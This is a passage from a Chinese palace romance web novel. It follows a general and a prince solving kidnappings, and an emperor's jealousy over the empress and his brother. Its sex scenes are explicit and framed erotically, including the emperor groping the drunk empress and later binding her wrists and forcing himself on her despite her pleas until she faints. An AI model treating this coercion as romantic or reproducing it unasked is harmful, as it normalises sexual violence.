对哦,若是白天踩点的时候把黄磷放在这家人的屋顶上,夜里来犯案的时候,就能轻而易举找到这家人。 程于秋当即醍醐灌顶,拉着元琛纵身一跃就上了屋顶,“容王殿下睁大眼睛,帮忙看看哪家的屋顶有绿光。” 二人奔波在各家各户的屋顶上,当夜就真的在一家屋顶上泛着绿光的人家里逮到了一个案犯。 接下来按着这条线索,接二连三地抓到了十来个案犯。程于秋将人交给大理寺审理,很快便揪出这些人的老巢。 当程于秋二人来到这些案犯的老巢时,仍有一名失踪未来得及被害的女子留在屋里。 那女子衣衫不整,元琛下意识转身回避,就碰上一群进屋来抓人的官兵。元琛迅速地脱下外袍,在官兵进屋之前给那女子披上。 剩下的案犯四处逃散,官兵们穷追不舍。程于秋抓了两个案犯交给官兵,又命人安顿好那位女子,这才洒脱地拍了拍手上的灰。 人群散去,小巷子突然安静下来,元琛的外袍给了女子,此时只穿着中衣站在路上,尴尬地轻咳起来。 除了二人不小心睡到一张床上去的那次,印象中元琛都是极其在意自己的外表。不管在哪里都是衣冠整洁,纤尘不染,哪里有过在大街上衣衫不整的时候。 看他束手束脚,局促不安的样子,程于秋忍不住笑道,“刚刚做英雄的时候,是不是没想过事后会这么落魄?” 元琛没有想到程于秋这个时候还来取笑他,心里更是一片阴霾,干脆背过身去不理她了。 程于秋见他真的生气地板起脸来,想到他这些天来风雨不改地陪自己四处查案,忍俊不禁道,“殿下,前边那条街就有间成衣铺子,我带您过去,先买一身凑合着穿一下。” 元琛极不情愿地跟在程于秋身后,见路上的行人偶尔投来好奇的目光,他更加无地自容,下意识放慢脚步,不敢离程于秋太近。 毫不知情的程于秋回头喊道,“殿下,成衣铺就在前边了,走快点。” 最后在成衣店里,元琛挑了一身竹绿色的外袍,程于秋当时还在想,这能好看吗?结果元琛从更衣室里出来的时候,她眼前一亮,着实让她对这身衣裳改观了,忍不住频频点头,“好看。” 元琛终于露出点笑容,他走到柜台去付钱,掌柜的摆摆手,指了指程于秋道,“这位小娘子付好了。” 程于秋站在店门口没有离开,元琛心情开始好起来,他走到门边,“程将军帮我买了身衣裳,我请程将军吃顿饭吧。”他跨过门槛,回头笑道,“程将军会赏脸的,是吧?” 落日余晖洒在元琛身上,他的侧脸线条流畅明朗,夕阳下泛着一层淡淡的光。美好的事物总是令人忍不住要靠近,程于秋没有扭捏,很自然朝他走过去,“好啊。” 元琛是个惯会吃喝的,他知道哪里的店最气派,哪里的店最好吃,哪里的店环境最好。于是两刻钟后,程于秋已经坐在湖心雅筑里,面前摆满了各色各样的吃食。 在元琛心中,这里属于环境好,饭菜又好吃的。 菜上桌后程于秋频频动筷,见她吃得爽快,元琛洋洋自得地问道,“怎么样?” 程于秋一边夹菜一边回答,“好吃,若是再来壶好酒,那就更妙了,简直是神仙生活。” 元琛轻咳一声,“程将军还敢跟本王喝酒?” 程于秋忙着吃菜,无语地睨他一眼,“这有什么不敢的,别喝多就好了。” 程于秋今晚确实没有喝多。酒足饭饱后从雅间里出来,元琛走在她前面。下桥的时候,元琛俯视一地银辉,忽然转身过来,伸手指了指她身后的夜空,“看,满月。” 她没有回头,只是追逐着他脸上的月光,记忆的闸门毫无预兆被打开。温泉行宫里,屋顶上她跟他一起喝酒的事,率先冲破那道闸门,朝她奔涌而来。 她记得这张脸,月光下格外温柔,温柔到令她迷了心智,她倾身,用唇碰了碰他的,一下、两下、三下,然后开始不再分开,紧紧地纠缠。 程于秋莫名地笑了,带着几分促狭、几分了然的笑。 元琛不解。 程于秋收住笑,“没什么,只是突然想起来一点事情来。” 元琛也没有放在心上,和她肩并肩走在桥上,二人都没有开口,静默地绕着湖边走了很长一段路。 许是早上刚下过雨的缘故,入夜了湖风依旧清新。虽然觉得说出来尴尬,程于秋还是想表达出迟来的歉意,“那夜屋顶上的事,确实是在下冒犯了殿下。” 元琛怔忡了一瞬,明显没想到她会在这个时候记起来,他愣愣地站在原地,许久才开口,眼中饱含欣喜又夹杂着两分不安,“你想起来了?” 那天夜里,她确实喝醉了。 “是。”程于秋停下脚步,一手按住元琛的臂弯,与他面对面,坦然而真诚向他道歉,“容王殿下能否原谅……” 可能是月光太美了,太善于蛊惑人心,两人的嘴唇又碰在一起,一次、两次……不同的是,这次主动的人并不是程于秋。 这亲吻的滋味比那夜在屋顶上还要好,让她没有想推开元琛的冲动。 该死的月光,她边亲边想。 等到元赫进京那一天,元栩不仅亲自带人去接他,还在夜里为他设宴接风,给足了对方面子。 薛太后认为元栩不过是在装模作样,心里肯定是恨极了元赫。 夜里的宴席上她故意叫沈若辞陪她一起过来。沈若辞站在薛太后身后,看众人给太后行礼。 眼下沈若辞已经好几天没见过元栩了,此时见他与元赫坐在一起,眉眼舒展,嘴边噙着笑意,心头竟也生出几分陌生感来。 元赫她从前是见过的,就是他不知道他能否认出自己来。那时候她为了方便行事,在医馆里总是蒙着面纱,未曾露出过真容。 元赫回来后,薛太后心情明显好了很多。见礼过后,她像一个慈爱的长辈一样按了按身后沈若辞的手,“今夜,你挨着本宫坐就好。” 沈若辞也不在意这些,薛太后命人在她身旁摆了张椅子。沈若辞坐定后,她朝场中环视一圈,发现那位阿言姑娘也在,今日她穿一身粉衣,头上梳着精致的发髻,妆容画得极其艳丽华贵。 场中响起元赫的声音,“想必这位便是皇嫂了?” 沈若辞循声望过去,发现元赫的目光此时正落在阿言脸上。 而他身旁的元栩,也向阿言投去了目光。 第84章 阿言害羞地垂下头。 沈若辞望着元栩, 元栩眼神却不看任何人,“皇后不起来澄清一下吗?” 沈若辞还没来得及开口,薛太后的声音先一步在场中响起, “我们的皇后风华无双,怎么会是那等子小家子气的模样。” 阿言瞬间白了脸。 元栩因那民间女子冷落了薛太后选入后宫的几位妃子, 这口气一直到现在,薛太后都无法咽下去。现如今有一箭双雕同时贬低元栩与那民间女子的机会, 薛太后肯定不会白白错失良机,她势必要让这两人都尝尝难堪的滋味, 话说出去后,她内心无比舒畅, 拉起沈若辞的手笑盈盈地向元赫介绍道, “阿赫看看, 这位才是我们的皇后。” 元赫朝沈若辞投去目光。方才沈若辞一直站在薛太后身后, 元赫并没有注意到对方。此时被他的母后拉着手的女子,有一张他再熟悉不过的脸庞, 这张脸是他见过的女子中最漂亮的。 元赫过分专注的眼神让沈若辞觉得不适, 好在只是也只是片刻,他便起身朝她行礼,“阿赫见过皇嫂。” 沈若辞回礼,“王爷有礼了。” 二人都心照不宣地没有提起相识的过往, 只当做是头一回见面。 可等到沈若辞觉得殿中有些闷热,带着阿茉走出殿外透透气时,元赫却不知从哪个角落走出来, 叫出了她从前在医馆里用的名字,“沈沿。” 元赫的声音自耳后传来,沈若辞回头, 就见元赫立在宫灯下,少年身长如玉,乌发红唇,眉眼更是动人,他道,“连你也不记得我了吗?” 如此煜煜生辉的少年,很难让人忘记,沈若辞如当年在医馆时那般喊出他的名字,“阿赫。” 元栩冷肃的脸庞在此时终于绽放出笑容,他犹当年的往事,“沈沿,你出落得愈发漂亮了。我起初真不知道你为何一直蒙着脸,直到有一回无意间见到你的容貌,立时就明白了。” 年少时遇到的人,收藏着彼此珍贵的过往。那年她尚未及笄,每天开开心心来医馆学艺,不管发生什么事都有父亲托底,从不用考虑结果。那段岁月无忧无虑到令人一想到就忍不住沉迷。 元赫也是如此。 他叫着沈若辞的名字,好像二人仍停留在那段岁月,“沈沿……” 元栩从殿中出来的时候,就见叔嫂二人立在长廊下交谈,二人皆是满脸笑意。 元栩头一回觉得沈若辞的笑很刺眼,刺得他胸闷气短。他上前去,朝沈若辞伸出手,“沿沿……” 若是前些天,沈若辞必会毫不犹豫地将手递过去,与他十指相扣。可这些天元栩一直冷落她,日日与那位阿言同进同出,她心中有了芥蒂,并不愿意顺他的意。 从前元栩知她就算心中不愿,行动上还是乖巧听话,几乎是对他有求必应。可此时她竟敢忤逆他,连他的话也不听了。 难道真是因为元赫在这里? 元栩没能叫得动沈若辞,他转而去看元赫,语气揶揄,“皇弟方才是不是跟皇后说了朕的坏话,所以皇后才不愿意理朕的?” 元栩强迫沈若辞入宫一事,元赫早就从薛太后那里听过了。只不过当时不知道皇后其实就是他认识的沈沿,没有放在心上罢了。 当年初见她容貌时的惊艳仍历历在目。感叹之余,他也忍不住会去想,这般美貌若没有人护着,对她本人而言,也不尽然是好事。 而今事实证明,果然如他所想,她确实被迫入宫,被迫接受他皇兄所谓的恩宠。 元赫微笑着回答他,“皇后为何这般对您,皇兄心里不清楚吗?” 沈若辞并不知道元赫指的是元栩强要她入宫的事,单纯以为元赫只是看不惯元栩过分宠爱阿言,而忽视她这位皇后而已。 所有烦恼的起源,或许都是因为她起了不该有的心思。沈若辞觉得要重新回到从前那种生活,当务之急掐断自己的痴心妄想, 她朝元栩微微欠身,“这里风大,臣妾身子受不住,就不打扰皇上与阿赫叙旧,臣妾告退。” 阿赫? 元栩都要给她气笑了,她竟然如此娴熟地喊出另一个男人的小名,叫得比叫她的丈夫还要亲昵。元栩咬了咬牙齿,恨不得扑过去捂住她的嘴,叫她再也无法喊出其他男人的名字。 沈若辞走向殿内,直到坐下来喝过两杯酒暖身后,元栩仍未回来。 她下意识看向阿言的座位,果然如她所料,她的座位早就空空如也。 殿中金石之声不绝于耳。 果酒清甜,沈若辞就着歌声琴声喝下一杯又一杯。阿茉在一旁看得心惊,有意劝阻她,却收效甚微。 “无妨,这酒喝起来跟水一样淡,本宫不会醉的。”她朝阿茉咧嘴笑了一下,又举起盛满酒液的杯子送给唇边,一饮而尽。 太后只是看着沈若辞一杯接着一杯,并不劝阻。 薛太后要离席的时候,沈若辞嘟囔着要跟她一起走。 沈若辞此时已醉意朦胧,阿茉扶着她,能感受到她家皇后娘娘脚步虚浮,开始站不稳了。 阿茉要时刻保持状态,站得稳稳的,以防她突然倒过来时没受住力,两个人都要摔。 她的注意力全部集中在自己手臂上、小腿上时,全程走得小心翼翼。可当走到一处地方,沈若辞忽地挣开她的搀扶,步履轻快地奔向人群。等她回过神来,沈若辞已站在皇帝身边,娇俏地去拉皇帝的手。 在场的男子中,除了皇帝,还有连家那位将军和几位年轻的官员。 阿茉急得跺了跺脚,暗地里责怪自己怎么就没拉住人呢。好在她家小姐还不是醉得厉害,不至于拉错人。 薛太后环视一周不见元赫的身影,最后目光定在沈若辞拉着元栩的手上,她笑道,“幸好是连将军跟皇帝站一块。若是我们阿赫站皇上边上,亲兄弟长得像,指不定皇后会牵错人,认错丈夫。” 旁人当薛太后是在说玩笑话,都陪笑起来。元栩莫名从她话中捕捉到不寻常的信息。 薛太后不一定知情,元栩心里无比清楚,沈若辞此时喝醉了,这般满心满眼都是他的模样,定是又将他当成曾经的心上人。 每一次沈若辞都能毫不迟疑且准确无误地奔向他,从未有过一次错认旁人,今日他才想明白这一点,原因很大可能是因为…… 元赫。 在场的所有人中,只有他一个人与元赫长得最像。 老天似乎很喜欢跟他作对,这个人为什么要是元赫呢? 就算此时心情糟糕透了,他还是俯身将喝得醉醺醺的沈若辞横抱起来。看她乖顺靠在自己怀里,双颊酡红,眼神却还是片刻不离,始终落在他脸上。 他竟是抢了元赫的! 这个念头在脑中一闪而过,又被他立马掐灭。这些不过仅仅是他个人的猜测,如何能当真。 他才是沈若辞的丈夫,沈若辞里里外外都是属于他元栩一个人的! 元栩将沈若辞抱回龙泽殿时,她已经醉得不省人事。 她醉酒后要不就是极其黏人地缠着他,要不就是睡得昏天暗地,任谁也叫不醒。 元栩此时铁了心要叫醒她。 他命岳常安端来醒酒汤,想趁她清醒一点的时候套她的话。 醒酒汤已经备好了,元栩连叫她了几声,只听到她哼哼唧唧地回应,眼皮子都没动一下。 元栩无奈地叹了一口气,他直接将人抱起来,抱在怀里,低下头就去尝她洇满酒气的唇。 尝着尝着就变了味道,他开始恣意地索取。已经好些日子未曾近她身子,醉酒后的她又是如此乖顺绵软,柔弱可欺。 他内心恶劣的火花一点即燃,嘴上一刻不停歇地吸吮着她的樱唇,手上也开始不老实,趁她眼下毫无反抗之力,可劲地欺负她。 在这般的狂风骤雨的摧磨之下,沈若辞悠悠地醒转过来。初时意识到男人在对她做什么的时候,惊得她几乎要从他怀中一跃而起。可当她看清男人的脸时,又只是将脸埋进他的怀里,瓮声瓮气地质问他,“你怎么又这样对我。” 嘴上虽这般问着,两只细细的手臂却悄悄地穿过他的腰身,搭在他的后背上。 元栩回答得很是理直气壮,“难道不可以吗?” 话扔出去了,没有收到对方的回答。在元栩以为沈若辞起了性子,拒绝回答他的话时,她缓缓地握起他的手掌,往自己雪脯带,“也不是不行。这里很脆弱的,你太粗鲁了,要轻一点才行哦。” “知道了。”元栩被她认真的样子逗笑了,将人扶起来让她坐好,才伸手从托盘上拿来汤碗,“来,喝点醒酒汤。” 她这才吃惊地瞪圆了眼睛,半信半疑道,“我醉了吗?” 元栩严肃地点了点头,“是。” 沈若辞半是迟疑,半是心虚地从他手中接过碗。而后双手捧着碗与他并排坐在床沿上,一口接着一口,很快碗中的醒酒汤就一滴不剩了,她将碗倒扣过来展示给他看,“你看,都喝完了。” 语气里不无撒娇讨好的意味。 “乖。”元栩将碗放回托盘,伸手揉了揉她的发顶,“好了。现在沿沿睁大眼睛,看看我是谁?” 作者有话说:香香软软的女孩子我也超爱!!! 第85章 沈若辞双眸较之前已经恢复了几许清明, 但经过酒意的浸染仍有些失神。 元栩好不容易等沈若辞眼神完全聚焦到他脸上,与他双眸对视时,就看她停顿一瞬之后, 噗嗤一声笑了出来。 她歪着头,“你也太小瞧我了。” 沈若辞觉得元栩定是看她喝了点酒, 就认为她醉得不知东西南北了。 她哪里有这么弱,这也太看不起人了。 为了证明自己的实力, 证明她并没有因为那点酒就醉倒。她手脚笨拙地在床榻上跪坐起来,让自己的视线跟他处于同一水平线上, 这才伸出手捧起他的脸来。 二人离得近,沈若辞的气息混合着淡淡的酒香尽数扑洒在他脸上。元栩看到了她眼中璀璨浩瀚的星河, 每一颗星星都在绽放光芒。她极其珍视地捧起着他的脸, 如同捧起这世间独一无二的宝物。 接下来, 沈若辞说得极慢又尤其认真, 声音像裹了蜜糖一般甜蜜,“你是我喜欢的人, 是我的心上人, 是……” 元栩胸腔一震,万般欢喜跃上心头。可这份喜悦没有持续多久,很快就被心头滋生的嫉妒掩盖。 这些话哪里是说给他听的,分明是给另一个男人的! 元栩感觉牙齿酸得很, 心头的甜蜜被冲淡后,余下的只有无尽的酸涩。 他今日势必要从沈若辞口中得到她那个奸夫的姓名不可,“是什么, 给我说清楚。我是谁,叫什么名字!不准掖着藏着。” 她都这般直白地表示了,还不够吗?面对他的穷追不舍, 沈若辞红着脸颊,再不敢正视他的眼睛。干脆伏到他的肩膀上,掩耳盗铃般地说出方才因为羞涩无法说出来的下半句,“是……是我的情哥哥。” 明明二人尚未有婚约,却几次三番地睡到一起,这般越界的行为,他还不明白自己的心意吗? 因为羞窘,沈若辞伏在他的肩膀上后,再不肯起来。等元栩再叫她时,才发现对方又睡了过去。 他迫于无奈将人放平在床榻上,平复了一下心绪之后,这才去了浴间,足足洗了两次冷水澡才压下心火。 等回到床榻上的时候,沈若辞仍一无所知。他是洗得干干净净的了,旁边这位还是满身酒气的小酒鬼看来是没办法沐浴,只能这么臭着了。 元栩叫人送了水进来打算替她简单清理一下。 沈若辞极少在龙泽殿内留宿,两位宫女垂着头,捧着铜盆布巾等物来到床边。其中一位宫女大着胆子往床上瞥了一眼,见皇帝坐在床榻上,而皇后娘娘仰躺在床上,身上覆着被子,只露出一张春意醉人的娇靥。 她瞬间面红耳赤,都不敢去想那锦被下是何等的春光。 元栩轻声道,“给皇后擦把脸。” 宫女迅速打湿布巾,伸手过去要给沈若辞擦脸。可能因为紧张,看起来笨手笨脚的。 元栩拧着眉头看了一会,从宫女手中接过布巾,而后无比细致地、一点一点地替她将脸擦拭干净。连着擦了两次,妆容被擦得干干净净,露出她最原本面貌,如清水芙蓉般恬静柔美的容貌。元栩这才心满意足地将布巾投入铜盆。 另一个宫女抬手将银勾上的帐幔放下来,余光瞥见皇帝敞着中衣,露出大片紧实的胸膛,俯下身亲了亲皇后水润的红唇。她看得面红耳赤,不敢再看多一眼,转身快速从殿中出去。 夜里沈若辞罕见地开始做梦。 河岸边,灯影下。 少年漫不经心地屈起一条腿坐在河边的石阶上,他双臂放在身后一级石阶上,轻松地支撑起半个身子。 他道,“萤火虫有什么稀奇,你喜欢的话,以后带你回我家看。我家……附近有个叫叠翠园的地方,那里就有很多萤火虫,夜里过去眼前一片亮莹莹的。”他抬头望向深邃浩瀚的星空,“比这星河还好看。” 夜风吹过她笑意盈盈的脸颊,天地之间只有河水欢快流淌的声音,她的心也雀跃起来。沈若辞努力压下上扬的嘴角,极轻极郑重地回应他,“嗯。” 没想到她回答得如此干脆,原本悠闲自得的人闻言身子一滞,他松开双手倾身过去,压低身子凑近她,试图向她求证。 “这么喜欢萤火虫?就不怕我把你拐回家?” 他的眼眸,映着湖光,有浅浅的波光在流淌。 沈若辞受不住他用这样直白的目光看自己,“你不是嫌我丑吗?” 他又躺回去,看着漫天的星芒,“是有一点。不过还行,看得过去。” 沈若辞觉得对方好讨厌,她明明长得好看的,非要挑她毛病,她索性站起来拍了拍身上的草屑,“夜深了,我该回家了。” 少年从地上一跃而起,“我送你。” 二人并肩而行,沈若辞这才发现对方身量极高,她明明不矮,却只到他的肩膀处。 夜很长,二人似是走了一夜。 隔天早上,沈若辞在元栩床上睁开眼睛后,望着帐顶发呆了好一阵之后,才回过神来身处何处。 她从床上坐起来,发现自己身上穿着衣裳时,足足愣了半天。以往每一回醉酒后醒来,必然是不着寸缕,满身红痕,一副被人欺负惨了的样子。 眼下这般整齐的模样,倒是令她错愕不已。沈若辞努力回想昨夜究竟发生了何事,想破脑袋都没有半点印象。 倒是昨天夜里的梦,她还能想起一点来。可不想起来还好,一想起来她顿时火气上头,火冒三丈。 什么人呢,竟然嫌她丑! 等回到雪辉宫后,连嬷嬷伺候沈若辞沐浴的时候,见她身上干干净净,无半分瑕疵,都不敢相信她昨夜是被皇帝抱回去宿在龙泽殿中。 宿醉后泡个热水澡,洗去一身浊气后,四肢百骸都舒畅起来。 她懒洋洋趴在浴桶边缘,此时头发已经洗净,连嬷嬷用梳子一点一点地梳顺她一头秀发。 沈若辞脑中浮现梦中的场景。她忍不住去想那个男人到底是谁,是现实中存在的,还是梦里虚构出来的? 可惜梦中人的脸始终模模糊糊,她无法分辨出来真假。 “嬷嬷,您有听过叠翠园这个地方吗?” 连嬷嬷梳头发的动作一顿,她将梳子放回托盘中,用干燥的布巾拢住皇后的浓密的头发,“叠翠园就在宫里啊,娘娘怎么突然问起这个地方来?” “宫里?”沈若辞不可思议地抬起头,那人说叠翠园在他家附近,这么说来,他也是宫里的人? 为进一步确认梦境真假,沈若辞又问,“叠翠园里有萤火虫吗?” 连嬷嬷牵着沈若辞从浴桶里出来,“有啊,娘娘怎么怎么知道的,那里的萤火虫最多了。” 沈若辞愈发吃惊了,这么听来,她梦境里的事是真的,想必梦中人也是真实存在的。 梦里的男子明显很年轻,十几岁的少年,这宫里哪里有这般年岁的男子? 难不成是侍卫?可侍卫的家又不在这附近。 “老奴帮娘娘穿衣裳。”连嬷嬷手脚利落地帮沈若辞穿上衣裳,等她穿戴完毕后,还在想梦里的事。 她觉得有必要过去一趟叠翠园看看,“嬷嬷,本宫今晚想过去叠翠园看看萤火虫。” 连嬷嬷想起这些日子来,皇上不知忙于何事都没有来过夜。有时候皇后娘娘还能找点乐子消磨一下时间,有时候干脆一个人坐在那里傻傻发呆。 她看着也不是滋味,是该出去走一走。况且年轻女孩子有爱玩的心是好事,她叫来锦云,细心交代一番以后,又对沈若辞说道,“娘娘今晚早些用膳,吃完饭就过去玩一会,夜里风大,早去早回。” 等到傍晚用完膳,锦云拿来披风,替沈若辞披上,又将披风的帽子戴好,全身上下只露出一张精致的小脸,这才一起前往叠翠园。 路上锦云跟沈若辞闲聊起叠翠园的事,“以前奴婢也喜欢去那里看萤火虫,后来有一阵没人打理,就荒废了。几个月前皇上又命人将那里修缮了一番,好像上个月才完工。奴婢去看了,更漂亮了。” 沈若辞长这么大以来,真没见过萤火虫。本来她只是想去验证梦境的真假,听锦云这么说起来,她内心也开始向往起去看萤火虫了。 很快到了叠翠园。这里自从修缮好之后,就有宫人负责看守及日常维护。 园子里树木葱葱郁郁,空气中隐隐有桂香漂浮,一片静谧。 越往深处走,朦胧的月色中忽现一点、两点……无数点微弱的光芒,如同星子从天而降,栖息在这片绿色的天地间。 这真的是她有生以来头一回见到萤火虫,沈若辞目光追逐着林间一个个闪烁着光芒的小精灵,短暂地忘记了心中所有的烦恼。 好像此时此刻,她化为这园中无数萤火虫中的一只,自由且无拘无束。 就在她想梦境果然是真的,梦中人果然没骗她的时候,耳边忽然想起少年如清风般和煦的声音。 “沈沿。” 她循声望过去,月光下少年风骨如竹,衣玦轻扬,纤尘不染。 “阿赫。”沈若辞没料到元赫也会出现在叠翠园里,难道他也是来看萤火虫的吗? 元赫微笑着朝她走近,“好巧,没想到夜里出来走走,也能遇到你。” 随着元赫慢慢走近,她的眼前投下一片阴影。她站在阴影中,脑中忽然冒出一个想法,难不成,难不成……他就是梦中那少年? 沈若辞目光停留在他的肩膀处,她下意识要走过去试试他的身高,是否跟梦中那位男子一样,自己只能到他的肩膀处。 这般想着,当元赫问她要不要一起散步时,她自然而然地答应了。 沈若辞起初与元赫之间保持着两人宽的距离,她有意往对方身边靠拢,走着走着二人之间只剩下半人宽的距离。 沈若辞趁他在欣赏夜色的时候,往他身边迈了一步,而后微微扬起头的瞬间,元赫恰在这个时候低下头来。 二人都能感觉到对方的呼吸,沈若辞刚想退开一步,元栩的声音却在这时不合时宜地响起,“你们在这里做什么?” 第86章 沈若辞像受了惊的兔子连退两步, 由于退得太快没刹住,身子就失重般地往后跌去。好在元赫眼疾手快,在她摔倒的瞬间及时拉住她了。 她的一只手臂尚被元赫紧紧抓着时, 从沿着声响一路寻过来的元栩刚好目睹这一幕,他眼神极其不善地盯着元赫那只手掌警告道, “放手!”说话间他走到沈若辞身边,用手掌揽住她的腰。 元赫这才松开手。 沈若辞一颗心终于回到肚子里, 她其实还是很高兴在这时候见到元栩的,语气带着几分惊喜的询问, “皇上您怎么也有空过来?” 元栩却直接忽略她的问题,不悦道, “皇后什么时候跟阿赫这般要好, 你们何时约好一起来看萤火虫的, 朕怎么一点也不知道!” 元赫一眼看出元栩有意找茬, 便道,“皇兄误会了, 阿赫与皇嫂不过是在叠翠园中偶然遇到, 并非事先约好。何况……” 他停顿了一下,才道,“皇嫂是您的妻子,皇兄难道不清楚, 一个男子约一位妙龄女郎去看萤火虫的行为代表着什么?” 元栩咬了咬牙,他如何会不清楚?幼时他曾与元赫一同读过那个典故,只是那时候他不以为意罢了。 如今他煞费苦心修缮叠翠园, 又命人精心养护园中植被花卉,就是为了有一天能带他喜爱的女子来园中看萤火虫,没想到却被元赫捷足先登。 用的是他的场地就算了, 撩拨的还是他的女人,这口气叫人如何咽得下去! 沈若辞没有看过那个典故,不禁好奇梦中人约她去看萤火虫的含义,她一心想着解惑,好奇地看向元赫,“约女郎一起看萤火虫,代表什么?” 她是如何做到完全忽视他的情绪,到了这个时候还有心情关系看萤火虫的含义的?元栩简直是怒火攻心,但凡身子弱一点,免不了当场呕血给她看。 元赫一本正经地说出书中典故,“男子主动约女郎,代表男子心悦那位女郎。若是女郎愿意去,代表二人两情相悦。” 所以……那位男子是心悦她,而她当时也答应那位男子了,证明她与男子两情相悦。 沈若辞对梦境中的事感到既荒诞又诧异。她莫名想起在温泉行宫里那次,程于秋说过她曾经喜欢一位纨绔公子哥。如此串联起来,莫非梦中人真是程于秋口中的纨绔,她曾经喜欢过的人。 原来真的有这么一个人! 她心乱如麻,一时不敢面对元栩,下意识想要逃离他的怀抱,“皇上,臣妾先回雪辉宫了。” 撂下话后就匆匆沿来时的路离开。 元栩觉得她这般急着走,定是有意在护着元赫,怕他继续为难元赫。倘若方才他不是及时出现,她跟元赫都快亲到一起去了。 一想到那场景,心中怒气更甚,元栩不由得冷笑起来。 昨夜他梦到沈若辞恢复记忆,与元赫肩并肩、手牵手出现在他面前,二人郎情妾意地告诉他今后要一起去虞城长相厮守,再也不回盛京来了。 虽然二人没有明说,但是他知道下一句绝对是说要留他一人在皇城里孤单终老。 好生恶毒的两个人,叔嫂勾搭,不知廉耻。 元栩气得后当场就从严从晖腰间抽出宝剑,想要立刻结果了元赫。哪知沈若辞非但毫无悔意,还喊着与他一同赴死。 亏得他如珠如宝地宠着她,纵着她,终究比不上她心头上的那个人。 元栩拿他二人没办法,只好自己发窝囊气。幸好醒来时发现只是梦而已,但仍将自己气得半死。 这些天来他忙得脚不沾地,好不容易今夜有时间休息,他第一时间就是去雪辉宫看她,谁知满怀期盼踏入雪辉宫后却没能见到人。听说她过来叠翠园看萤火虫,又马不停蹄地赶过来,只为多看她几眼。 哪知她倒是惯会扫他的兴,竟送给他这么大个惊喜! 他三步做两步追上沈若辞,“回去做什么?皇后不是喜欢元赫吗,怎么不继续跟他一起看萤火虫了。” 沈若辞就算是再心事重重,也能听出他话中有话。 一想起那日元栩非要她从一众男子的画像中挑出合眼缘的,她心里火气也腾腾往上冒。等回到雪辉宫里,她再也忍不住,就将一直憋在心中的话一股脑往外吐,“皇上不妨直说,您心里其实就是想把我送出去,如今您觉得臣妾喜欢元赫,就想把我送给他,是不是?” 把她送人?这是人能说出来的话!元栩眼中怒火烧得正旺,“沈若辞,你做梦!” “休想!” 他将人推到在床榻上,一抬手就挥落床帐,将人强压了在身下。 “睁大眼睛,给朕看清楚了,是谁在睡你,谁才是你的丈夫!” 从前他也有过强迫她的时候,更多的是半诱半哄,从未如今日这般手段强硬,为情绪所支配。 二人心里各有各的不满,都卯着劲,谁也不服谁。 元栩本就对她毫无招架之力。 此时她乌发披散,周身白得无半分瑕疵,那几点嫣红更是灼灼夺目。 因为发怒与反抗,原本白璧无瑕的肌-肤泛着一层淡淡的粉。这极-艳的画面让他丧失了仅存的理智,手段用得又狠又准,很快沈若辞便丧失了反抗的能力。 屋中动静何其激烈,锦云跟阿茉也是头一回遇到这种境况,二人面面相觑,听了半天仍不确定帝后二人是在闹矛盾还是在恩爱。 等到云收雨歇时,沈若辞喘着粗气,脸颊上泪痕犹在。见他没有要叫水的意思,她只好自己去浴间清洗,哪只刚一只脚下地,又被他拽了回去。 她方才明明被他逼着说了许多可耻的话,按着他的意思一一回答了他那些无理的问题。 那些话——可耻到事后想起来,她身子仍止不住地轻颤。她确定哪怕是十年后,她都无法忘记今夜他逼她说的这些话! 狼崽子,狼崽子!她都这么听话了,他还有什么不满意的,竟连清洗都不给她去了吗! “朕有说要结束了吗?”他迫着沈若辞仰卧在棉枕上,在她愤懑茫然的目光中,顺手扯来挂落在床头上的披帛,在她皓腕上绕了两圈之后打上结,另一端悬于床柱上。 如此,元栩较前一回又多出一只手来。 唇舌、双手以及主力齐齐上阵,沈若辞很快溃不成军。 元栩就着上一回的淋漓处缓缓地打着圈儿,“不许闭眼,睁开眼睛好好看着。” 他空出一只手掐着她的下颌,笑得尤其阴鸷瘆人,,“看清楚现在是谁在让你情动,是谁在给你愉悦。” 这般把她架在火上炙烤,却不直接给个痛快的行为,简直能把人逼疯。 起初她尚且还能接得住,可是越到后边,这场风雨越是猛烈。 她禁不住又开始求他,如往常那般,她只需温言软语求他几句,他便会心软放开她,百试不爽。 可今夜她明明已忍到了极限,不管如何求他,他都不肯卸下力来,甚至还添了一只手来使坏。他的手是握剑的,手指何等修长灵活,用到她身上简直是跟烈刑无异。 沈若辞终是没忍过去,在一声短促的娇啼声中晕了过去,屋中女子娇娇软软的哭喊声戛然而止。 元栩在感受到一阵巨大的湿意后,暂时空出来的一点理智迫着他俯身看去,这一看才发现被洇湿了一大片。他带着疑惑抬头,向她投去询问的目光。 哪知这一看竟是令他魂飞魄散,几乎惊破了胆子。 只见身下人儿双眸紧闭,双唇更是紧紧地抿着,不再发出半点声响。 错愕之后,元栩当机立断将人搂起来给她顺气。片刻之后,听她急促的气息渐渐趋于平稳,这才一手捞起绸裤跳下床去,边套裤子边朝殿外哑声喊道,“快,去宣太医来。” 屋外有人应下后,他又高声道,“送参茶进来。” 锦云端着参茶进屋的时候,见帐幔中皇后娘娘身上覆着薄被,闭着眼睛仰躺在皇上怀中。此时皇上正用掌心无比轻柔地抚着怀中人,她垂下头将参茶递过去,帐幔中浓烈的气味令她微微红了脸。 见皇上接过参茶后,锦云走到床边将窗户打开一条缝,这才回到殿中点起了香。 殿中气息靡靡,元栩托着沈若辞的背勉强喂下几口参茶后,又用手掌不停地给她顺气。 一番努力之后,沈若辞在太医赶到之前就悠悠醒转过来。 元栩感受到她绵软的身子在与他眼神对视的瞬间下意识僵硬起来。他瞬间慌了神,提起手掌对着胸口又是一顿安抚,嘴上温声细语不停地安慰着她,“别怕,没事的,太医很快就到了。” 一听太医要来给她看病,沈若辞的泪珠一滴滴地从眼眶中滚落,像断了线的珠子,一颗颗全砸在白皙红润的脸颊上,嘴里只不停地重复着,“让太医走,让他们走,我不看……” 经历过方才那一遭,元栩惊魂未定,再也不敢大声说话,只轻轻柔柔地劝说道,“怎么就不看呢,等下出了问题如何是好?乖,让太医看一下,朕好安心一点。” 这事说起来太丢人,沈若辞哪里敢让外人知道,她断断续续地抽噎着,又往元栩怀中缩了缩,“反正我就不看太医,不看、就是……不看。” 她感受到身下湿漉漉一滩,就是在她晕过去之前留下来的,也就是那个瞬间,她脑中紧绷的弦崩开后才失去意识。 眼见沈若辞情绪又再次起伏,他无奈只好让人去通知太医不用来了。 殿门被从外边关上后,沈若辞才终于放下心来。 元栩小心翼翼地问道,“好了,人都走了,沿沿睡一觉好不好?” 元栩感觉到他怀中那个毛茸茸的脑袋摇了摇头,隔了一会之后,才木木地说道,“我不想睡觉,我要沐浴。” 